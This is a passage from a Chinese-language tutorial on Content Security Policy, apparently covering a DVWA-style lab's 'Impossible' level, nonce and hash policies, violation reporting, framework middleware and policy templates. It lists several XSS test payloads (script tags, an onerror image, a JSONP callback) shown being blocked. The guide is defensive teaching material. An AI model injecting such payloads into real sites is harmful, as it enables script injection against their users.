type=<span class="string">&quot;text&quot;</span> name=<span class="string">&quot;name&quot;</span> placeholder=<span class="string">&quot;Your name&quot;</span>&gt;</span><br><span class="line">        &lt;button type=<span class="string">&quot;submit&quot;</span>&gt;Submit&lt;/button&gt;</span><br><span class="line">    &lt;/form&gt;</span><br><span class="line"></span><br><span class="line">    &lt;div id=<span class="string">&quot;output&quot;</span>&gt;</span><br><span class="line">        <span class="meta">&lt;?php</span></span><br><span class="line">        <span class="keyword">if</span>(<span class="variable">$name</span>) &#123;</span><br><span class="line">            <span class="comment">// 输出已编码的内容</span></span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&quot;Hello, &quot;</span> . <span class="variable">$name</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="meta">?&gt;</span></span><br><span class="line">    &lt;/div&gt;</span><br><span class="line"></span><br><span class="line">    &lt;!-- ★★★ 合法脚本必须包含正确的nonce ★★★ --&gt;</span><br><span class="line">    &lt;!-- nonce=<span class="string">&quot;...&quot;</span> - 必须与CSP中的nonce匹配 --&gt;</span><br><span class="line">    &lt;!-- 攻击者无法知道nonce值，因为每次都不同 --&gt;</span><br><span class="line">    &lt;script nonce=<span class="string">&quot;&lt;?php echo <span class="subst">$nonce</span>; ?&gt;&quot;</span>&gt;</span><br><span class="line">        <span class="comment">// 这个脚本可以执行，因为有正确的nonce</span></span><br><span class="line">        console.<span class="title function_ invoke__">log</span>(<span class="string">&#x27;Legitimate script with nonce&#x27;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 合法的事件处理</span></span><br><span class="line">        document.<span class="title function_ invoke__">querySelector</span>(<span class="string">&#x27;form&#x27;</span>).<span class="title function_ invoke__">addEventListener</span>(<span class="string">&#x27;submit&#x27;</span>, function(e) &#123;</span><br><span class="line">            <span class="comment">// 表单验证等</span></span><br><span class="line">        &#125;);</span><br><span class="line">    &lt;/script&gt;</span><br><span class="line"></span><br><span class="line">    &lt;!-- ★★★ 没有nonce的脚本会被阻止 ★★★ --&gt;</span><br><span class="line">    &lt;!-- &lt;script&gt;<span class="title function_ invoke__">alert</span>(<span class="string">&#x27;This will be blocked&#x27;</span>)&lt;/script&gt; --&gt;</span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br></pre></td></tr></table></figure><h3 id="完善的防护机制"><a href="#完善的防护机制" class="headerlink" title="完善的防护机制"></a>完善的防护机制</h3><p><strong>多层防御：</strong></p><ol><li><strong>Nonce-based CSP</strong> - 每次请求生成随机nonce</li><li><strong>输出编码</strong> - htmlspecialchars()转义</li><li><strong>严格的指令</strong> - 禁止unsafe-inline、unsafe-eval</li><li><strong>Trusted Types</strong> - 要求可信类型API</li><li><strong>strict-dynamic</strong> - 信任链传播</li></ol><p><strong>Nonce工作原理：</strong></p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">服务器生成<span class="attr">nonce</span>: 3a8f5c9e2b1d7f4a</span><br><span class="line">    ↓</span><br><span class="line">设置<span class="attr">CSP</span>: script-src <span class="string">&#x27;nonce-3a8f5c9e2b1d7f4a&#x27;</span></span><br><span class="line">    ↓</span><br><span class="line">合法脚本: <span class="language-xml"><span class="tag">&lt;<span class="name">script</span> <span class="attr">nonce</span>=<span class="string">&quot;3a8f5c9e2b1d7f4a&quot;</span>&gt;</span>...<span class="tag">&lt;/<span class="name">script</span>&gt;</span></span></span><br><span class="line">    ↓</span><br><span class="line">浏览器检查: nonce匹配 → 允许执行</span><br><span class="line">    ↓</span><br><span class="line">攻击脚本: <span class="language-xml"><span class="tag">&lt;<span class="name">script</span>&gt;</span>alert(1)<span class="tag">&lt;/<span class="name">script</span>&gt;</span></span></span><br><span class="line">    ↓</span><br><span class="line">浏览器检查: 没有nonce → 阻止执行</span><br></pre></td></tr></table></figure><h3 id="为什么无法攻破？"><a href="#为什么无法攻破？" class="headerlink" title="为什么无法攻破？"></a>为什么无法攻破？</h3><p><strong>所有攻击都被阻止：</strong></p><figure class="highlight smali"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">攻击1：&lt;script&gt;alert(1)&lt;/script&gt;</span><br><span class="line">CSP检查 → 没有nonce → 阻止</span><br><span class="line">控制台: Refused to<span class="built_in"> execute </span>inline script</span><br><span class="line"></span><br><span class="line">攻击2：&lt;img src=x onerror=alert(1)&gt;</span><br><span class="line">CSP检查 → 事件处理器视为内联脚本 → 阻止</span><br><span class="line">控制台: Refused to<span class="built_in"> execute </span>inline event handler</span><br><span class="line"></span><br><span class="line">攻击3：&lt;script src=<span class="string">&quot;/uploads/evil.js&quot;</span>&gt;&lt;/script&gt;</span><br><span class="line">CSP检查 → 没有nonce → 阻止</span><br><span class="line">控制台: Refused to load script</span><br><span class="line"></span><br><span class="line">攻击4：&lt;script nonce=<span class="string">&quot;guessed&quot;</span>&gt;alert(1)&lt;/script&gt;</span><br><span class="line">CSP检查 → nonce错误 → 阻止</span><br><span class="line">（nonce每次都不同，无法预测）</span><br><span class="line"></span><br><span class="line">攻击5：JSONP利用</span><br><span class="line">&lt;script src=<span class="string">&quot;/api?callback=alert&quot;</span> nonce=<span class="string">&quot;...&quot;</span>&gt;</span><br><span class="line">即使有nonce，callback会被htmlspecialchars()编码</span><br></pre></td></tr></table></figure><p><strong>关键防御点：</strong></p><ol><li><strong>不可预测的nonce</strong> - 每次请求生成新值</li><li><strong>必须完全匹配</strong> - nonce值必须精确匹配</li><li><strong>输出编码</strong> - 双重防护</li><li><strong>无unsafe指令</strong> - 不允许内联和eval</li><li><strong>Trusted Types</strong> - API级别的保护</li></ol><hr><h2 id="防御建议"><a href="#防御建议" class="headerlink" title="防御建议"></a>防御建议</h2><h3 id="代码层面"><a href="#代码层面" class="headerlink" title="代码层面"></a>代码层面</h3><h4 id="1-使用严格的CSP策略"><a href="#1-使用严格的CSP策略" class="headerlink" title="1. 使用严格的CSP策略"></a>1. 使用严格的CSP策略</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 最佳实践：Nonce-based CSP</span></span><br><span class="line"><span class="variable">$nonce</span> = <span class="title function_ invoke__">bin2hex</span>(<span class="title function_ invoke__">random_bytes</span>(<span class="number">16</span>));</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Content-Security-Policy: default-src &#x27;self&#x27;; script-src &#x27;nonce-<span class="subst">$nonce</span>&#x27; &#x27;strict-dynamic&#x27;; object-src &#x27;none&#x27;; base-uri &#x27;self&#x27;;&quot;</span>);</span><br></pre></td></tr></table></figure><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 合法脚本必须包含nonce --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">nonce</span>=<span class="string">&quot;&lt;?php echo $nonce; ?&gt;&quot;</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="comment">// Your code here</span></span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h4 id="2-避免危险的CSP指令"><a href="#2-避免危险的CSP指令" class="headerlink" title="2. 避免危险的CSP指令"></a>2. 避免危险的CSP指令</h4><figure class="highlight asciidoc"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">❌ 不安全：</span><br><span class="line"><span class="bullet">- </span><span class="emphasis">&#x27;unsafe-inline&#x27;</span></span><br><span class="line"><span class="bullet">- </span><span class="emphasis">&#x27;unsafe-eval&#x27;</span></span><br><span class="line"><span class="bullet">- </span>* (允许所有来源)</span><br><span class="line"><span class="bullet">- </span>data: (允许data: URI)</span><br><span class="line"></span><br><span class="line">✅ 安全：</span><br><span class="line"><span class="bullet">- </span><span class="emphasis">&#x27;nonce-&#123;random&#125;&#x27;</span></span><br><span class="line"><span class="bullet">- </span><span class="emphasis">&#x27;sha256-&#123;hash&#125;&#x27;</span></span><br><span class="line"><span class="bullet">- </span><span class="emphasis">&#x27;strict-dynamic&#x27;</span></span><br><span class="line"><span class="bullet">- </span><span class="emphasis">&#x27;self&#x27;</span></span><br><span class="line"><span class="bullet">- </span>具体的白名单域名</span><br></pre></td></tr></table></figure><h4 id="3-使用Hash-based-CSP（替代方案）"><a href="#3-使用Hash-based-CSP（替代方案）" class="headerlink" title="3. 使用Hash-based CSP（替代方案）"></a>3. 使用Hash-based CSP（替代方案）</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$script</span> = <span class="string">&quot;console.log(&#x27;Hello&#x27;);&quot;</span>;</span><br><span class="line"><span class="variable">$hash</span> = <span class="title function_ invoke__">base64_encode</span>(<span class="title function_ invoke__">hash</span>(<span class="string">&#x27;sha256&#x27;</span>, <span class="variable">$script</span>, <span class="literal">true</span>));</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Content-Security-Policy: script-src &#x27;sha256-<span class="subst">$hash</span>&#x27;;&quot;</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line"></span><br><span class="line">&lt;script&gt;<span class="meta">&lt;?php</span> <span class="keyword">echo</span> <span class="variable">$script</span>; <span class="meta">?&gt;</span>&lt;/script&gt;</span><br></pre></td></tr></table></figure><h4 id="4-实施报告机制"><a href="#4-实施报告机制" class="headerlink" title="4. 实施报告机制"></a>4. 实施报告机制</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// CSP违规报告</span></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Content-Security-Policy: default-src &#x27;self&#x27;; report-uri /csp-report&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 或使用report-to</span></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Content-Security-Policy: default-src &#x27;self&#x27;; report-to csp-endpoint&quot;</span>);</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Report-To: &#123;\&quot;group\&quot;:\&quot;csp-endpoint\&quot;,\&quot;max_age\&quot;:10886400,\&quot;endpoints\&quot;:[&#123;\&quot;url\&quot;:\&quot;/csp-report\&quot;&#125;]&#125;&quot;</span>);</span><br></pre></td></tr></table></figure><p><strong>接收报告：</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// csp-report.php</span></span><br><span class="line"><span class="variable">$json</span> = <span class="title function_ invoke__">file_get_contents</span>(<span class="string">&#x27;php://input&#x27;</span>);</span><br><span class="line"><span class="variable">$report</span> = <span class="title function_ invoke__">json_decode</span>(<span class="variable">$json</span>, <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 记录违规</span></span><br><span class="line"><span class="title function_ invoke__">file_put_contents</span>(<span class="string">&#x27;csp-violations.log&#x27;</span>,</span><br><span class="line">    <span class="title function_ invoke__">date</span>(<span class="string">&#x27;Y-m-d H:i:s&#x27;</span>) . <span class="string">&#x27; - &#x27;</span> .</span><br><span class="line">    <span class="variable">$report</span>[<span class="string">&#x27;csp-report&#x27;</span>][<span class="string">&#x27;blocked-uri&#x27;</span>] .</span><br><span class="line">    <span class="string">&quot;\n&quot;</span>,</span><br><span class="line">    FILE_APPEND</span><br><span class="line">);</span><br></pre></td></tr></table></figure><h4 id="5-结合其他安全头"><a href="#5-结合其他安全头" class="headerlink" title="5. 结合其他安全头"></a>5. 结合其他安全头</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 完整的安全头配置</span></span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Content-Security-Policy: default-src &#x27;self&#x27;; script-src &#x27;nonce-<span class="subst">$nonce</span>&#x27; &#x27;strict-dynamic&#x27;; object-src &#x27;none&#x27;; base-uri &#x27;self&#x27;;&quot;</span>);</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;X-Content-Type-Options: nosniff&quot;</span>);</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;X-Frame-Options: SAMEORIGIN&quot;</span>);</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;X-XSS-Protection: 1; mode=block&quot;</span>);</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Referrer-Policy: strict-origin-when-cross-origin&quot;</span>);</span><br><span class="line"><span class="title function_ invoke__">header</span>(<span class="string">&quot;Permissions-Policy: geolocation=(), microphone=(), camera=()&quot;</span>);</span><br></pre></td></tr></table></figure><h3 id="框架层面"><a href="#框架层面" class="headerlink" title="框架层面"></a>框架层面</h3><h4 id="Laravel示例"><a href="#Laravel示例" class="headerlink" title="Laravel示例"></a>Laravel示例</h4><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 中间件：app/Http/Middleware/ContentSecurityPolicy.php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title class_">App</span>\<span class="title class_">Http</span>\<span class="title class_">Middleware</span>;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">ContentSecurityPolicy</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">handle</span>(<span class="params"><span class="variable">$request</span>, <span class="variable">$next</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="variable">$nonce</span> = <span class="title function_ invoke__">bin2hex</span>(<span class="title function_ invoke__">random_bytes</span>(<span class="number">16</span>));</span><br><span class="line">        <span class="variable">$request</span>-&gt;attributes-&gt;<span class="title function_ invoke__">set</span>(<span class="string">&#x27;csp-nonce&#x27;</span>, <span class="variable">$nonce</span>);</span><br><span class="line"></span><br><span class="line">        <span class="variable">$response</span> = <span class="variable">$next</span>(<span class="variable">$request</span>);</span><br><span class="line"></span><br><span class="line">        <span class="variable">$csp</span> = <span class="string">&quot;default-src &#x27;self&#x27;; &quot;</span> .</span><br><span class="line">               <span class="string">&quot;script-src &#x27;nonce-<span class="subst">$nonce</span>&#x27; &#x27;strict-dynamic&#x27;; &quot;</span> .</span><br><span class="line">               <span class="string">&quot;object-src &#x27;none&#x27;; &quot;</span> .</span><br><span class="line">               <span class="string">&quot;base-uri &#x27;self&#x27;;&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="variable">$response</span>-&gt;headers-&gt;<span class="title function_ invoke__">set</span>(<span class="string">&#x27;Content-Security-Policy&#x27;</span>, <span class="variable">$csp</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$response</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">&lt;!-- 在Blade模板中使用 --&gt;</span><br><span class="line">&lt;script nonce=&quot;&#123;&#123; request()-&gt;get(&#x27;csp-nonce&#x27;) &#125;&#125;&quot;&gt;</span><br><span class="line">    console.log(&#x27;Safe script&#x27;);</span><br><span class="line">&lt;/script&gt;</span><br></pre></td></tr></table></figure><h4 id="Express-js示例"><a href="#Express-js示例" class="headerlink" title="Express.js示例"></a>Express.js示例</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> crypto = <span class="built_in">require</span>(<span class="string">&#x27;crypto&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> helmet = <span class="built_in">require</span>(<span class="string">&#x27;helmet&#x27;</span>);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">use</span>(<span class="function">(<span class="params">req, res, next</span>) =&gt;</span> &#123;</span><br><span class="line">    res.<span class="property">locals</span>.<span class="property">nonce</span> = crypto.<span class="title function_">randomBytes</span>(<span class="number">16</span>).<span class="title function_">toString</span>(<span class="string">&#x27;hex&#x27;</span>);</span><br><span class="line">    <span class="title function_">next</span>();</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">app.<span class="title function_">use</span>(helmet.<span class="title function_">contentSecurityPolicy</span>(&#123;</span><br><span class="line">    <span class="attr">directives</span>: &#123;</span><br><span class="line">        <span class="attr">defaultSrc</span>: [<span class="string">&quot;&#x27;self&#x27;&quot;</span>],</span><br><span class="line">        <span class="attr">scriptSrc</span>: [<span class="function">(<span class="params">req, res</span>) =&gt;</span> <span class="string">`&#x27;nonce-<span class="subst">$&#123;res.locals.nonce&#125;</span>&#x27;`</span>, <span class="string">&quot;&#x27;strict-dynamic&#x27;&quot;</span>],</span><br><span class="line">        <span class="attr">objectSrc</span>: [<span class="string">&quot;&#x27;none&#x27;&quot;</span>],</span><br><span class="line">        <span class="attr">baseUri</span>: [<span class="string">&quot;&#x27;self&#x27;&quot;</span>]</span><br><span class="line">    &#125;</span><br><span class="line">&#125;));</span><br></pre></td></tr></table></figure><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!-- 在模板中 --&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">nonce</span>=<span class="string">&quot;&lt;%= nonce %&gt;&quot;</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">    <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;Safe script&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="监控层面"><a href="#监控层面" class="headerlink" title="监控层面"></a>监控层面</h3><h4 id="1-CSP报告分析"><a href="#1-CSP报告分析" class="headerlink" title="1. CSP报告分析"></a>1. CSP报告分析</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 分析CSP违规报告</span></span><br><span class="line"><span class="keyword">const</span> reports = <span class="title function_">loadCSPReports</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 统计最常见的违规</span></span><br><span class="line"><span class="keyword">const</span> violations = &#123;&#125;;</span><br><span class="line">reports.<span class="title function_">forEach</span>(<span class="function"><span class="params">report</span> =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">const</span> uri = report[<span class="string">&#x27;blocked-uri&#x27;</span>];</span><br><span class="line">    violations[uri] = (violations[uri] || <span class="number">0</span>) + <span class="number">1</span>;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 输出Top 10违规</span></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&#x27;Top 10 CSP Violations:&#x27;</span>);</span><br><span class="line"><span class="title class_">Object</span>.<span class="title function_">entries</span>(violations)</span><br><span class="line">    .<span class="title function_">sort</span>(<span class="function">(<span class="params">a, b</span>) =&gt;</span> b[<span class="number">1</span>] - a[<span class="number">1</span>])</span><br><span class="line">    .<span class="title function_">slice</span>(<span class="number">0</span>, <span class="number">10</span>)</span><br><span class="line">    .<span class="title function_">forEach</span>(<span class="function">(<span class="params">[uri, count]</span>) =&gt;</span> &#123;</span><br><span class="line">        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">`<span class="subst">$&#123;uri&#125;</span>: <span class="subst">$&#123;count&#125;</span> times`</span>);</span><br><span class="line">    &#125;);</span><br></pre></td></tr></table></figure><h4 id="2-自动化测试"><a href="#2-自动化测试" class="headerlink" title="2. 自动化测试"></a>2. 自动化测试</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 使用CSP Evaluator检查策略</span></span><br><span class="line"><span class="keyword">const</span> csp = <span class="string">&quot;default-src &#x27;self&#x27;; script-src &#x27;unsafe-inline&#x27;&quot;</span>;</span><br><span class="line"><span class="keyword">const</span> result = evaluateCSP(csp);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (result.<span class="property">hasUnsafeInline</span>) &#123;</span><br><span class="line">    <span class="variable language_">console</span>.<span class="title function_">error</span>(<span class="string">&#x27;❌ CSP contains unsafe-inline&#x27;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h2 id="总结对比"><a href="#总结对比" class="headerlink" title="总结对比"></a>总结对比</h2><table><thead><tr><th>特性</th><th>Low</th><th>Medium</th><th>High</th><th>Impossible</th></tr></thead><tbody><tr><td>CSP策略</td><td>❌ 无</td><td>有但unsafe-inline</td><td>严格script-src</td><td>Nonce-based</td></tr><tr><td>输出编码</td><td>❌</td><td>❌</td><td>✅</td><td>✅</td></tr><tr><td>内联脚本</td><td>✅ 允许</td><td>✅ 允许</td><td>❌ 禁止</td><td>❌ 禁止</td></tr><tr><td>外部脚本</td><td>✅ 允许</td><td>❌ 禁止</td><td>❌ 禁止</td><td>❌ 需nonce</td></tr><tr><td>eval()</td><td>✅ 允许</td><td>✅ 允许</td><td>❌ 禁止</td><td>❌ 禁止</td></tr><tr><td>事件处理器</td><td>✅ 允许</td><td>✅ 允许</td><td>❌ 禁止</td><td>❌ 禁止</td></tr><tr><td>JSONP攻击</td><td>✅ 可行</td><td>✅ 可行</td><td>✅ 可能</td><td>❌ 不可行</td></tr><tr><td>攻击难度</td><td>极易</td><td>简单</td><td>难</td><td>极难</td></tr></tbody></table><hr><h2 id="常用CSP策略模板"><a href="#常用CSP策略模板" class="headerlink" title="常用CSP策略模板"></a>常用CSP策略模板</h2><h3 id="1-严格策略（推荐）"><a href="#1-严格策略（推荐）" class="headerlink" title="1. 严格策略（推荐）"></a>1. 严格策略（推荐）</h3><figure class="highlight csp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">Content-Security-Policy</span>:</span><br><span class="line">    <span class="keyword">default-src</span> <span class="string">&#x27;self&#x27;</span>;</span><br><span class="line">    <span class="keyword">script-src</span> <span class="string">&#x27;nonce-&#123;random&#125;&#x27;</span> <span class="string">&#x27;strict-dynamic&#x27;</span>;</span><br><span class="line">    <span class="keyword">style-src</span> <span class="string">&#x27;self&#x27;</span> <span class="string">&#x27;nonce-&#123;random&#125;&#x27;</span>;</span><br><span class="line">    <span class="keyword">img-src</span> <span class="string">&#x27;self&#x27;</span> data: https:;</span><br><span class="line">    <span class="keyword">font-src</span> <span class="string">&#x27;self&#x27;</span>;</span><br><span class="line">    <span class="keyword">connect-src</span> <span class="string">&#x27;self&#x27;</span>;</span><br><span class="line">    <span class="keyword">object-src</span> <span class="string">&#x27;none&#x27;</span>;</span><br><span class="line">    <span class="keyword">base-uri</span> <span class="string">&#x27;self&#x27;</span>;</span><br><span class="line">    <span class="keyword">form-action</span> <span class="string">&#x27;self&#x27;</span>;</span><br><span class="line">    <span class="keyword">frame-ancestors</span> <span class="string">&#x27;none&#x27;</span>;</span><br><span class="line">    require-trusted-types-for <span class="string">&#x27;script&#x27;</span>;</span><br></pre></td></tr></table></figure><h3 id="2-中等策略"><a href="#2-中等策略" class="headerlink" title="2. 中等策略"></a>2. 中等策略</h3><figure class="highlight csp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">Content-Security-Policy</span>:</span><br><span class="line">    <span class="keyword">default-src</span> <span class="string">&#x27;self&#x27;</span>;</span><br><span class="line">    <span class="keyword">script-src</span> <span class="string">&#x27;self&#x27;</span>;</span><br><span class="line">    <span class="keyword">style-src</span> <span class="string">&#x27;self&#x27;</span> <span class="string">&#x27;unsafe-inline&#x27;</span>;</span><br><span class="line">    <span class="keyword">img-src</span> <span class="string">&#x27;self&#x27;</span> data:;</span><br><span class="line">    <span class="keyword">font-src</span> <span class="string">&#x27;self&#x27;</span>;</span><br><span class="line">    <span class="keyword">connect-src</span> <span class="string">&#x27;self&#x27;</span>;</span><br><span class="line">    <span class="keyword">object-src</span> <span class="string">&#x27;none&#x27;</span>;</span><br><span class="line">    <span class="keyword">base-uri</span> <span class="string">&#x27;self&#x27;</span>;</span><br></pre></td></tr></table></figure><h3 id="3-开发环境（宽松）"><a href="#3-开发环境（宽松）" class="headerlink" title="3. 开发环境（宽松）"></a>3. 开发环境（宽松）</h3><figure class="highlight csp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">Content-Security-Policy</span>:</span><br><span class="line">    <span class="keyword">default-src</span> <span class="string">&#x27;self&#x27;</span>;</span><br><span class="line">    <span class="keyword">script-src</span> <span class="string">&#x27;self&#x27;</span> <span class="string">&#x27;unsafe-inline&#x27;</span> <span class="string">&#x27;unsafe-eval&#x27;</span>;</span><br><span class="line">    <span class="keyword">style-src</span> <span class="string">&#x27;self&#x27;</span> <span class="string">&#x27;unsafe-inline&#x27;</span>;</span><br><span class="line">    <span class="keyword">img-src</span> <span class="string">&#x27;self&#x27;</span> data: *;</span><br><span class="line">    <span class="keyword">font-src</span> <span class="string">&#x27;self&#x27;</span> data:;</span><br><span class="line">    <span class="keyword">connect-src</span> <span class="string">&#x27;self&#x27;</span>;</span><br></pre></td></tr></table></figure><hr><h2 id="实战建议"><a href="#实战建议" class="headerlink" title="实战建议"></a>实战建议</h2><p><strong>实施CSP的步骤：</strong></p><ol><li><strong>报告模式</strong> - 先使用Content-Security-Policy-Report-Only</li><li><strong>分析违规</strong> - 收集和分析报告</li><li><strong>调整策略</strong> - 修复合法违规</li><li><strong>强制模式</strong> - 切换到Content-Security-Policy</li><li><strong>持续监控</strong> - 持续收集报告</li></ol><p><strong>测试工具：</strong></p><ul><li><strong>CSP Evaluator</strong> (Google)</li><li><strong>Observatory by Mozilla</strong></li><li><strong>SecurityHeaders.com</strong></li><li><strong>CSP Scanner</strong> (Burp 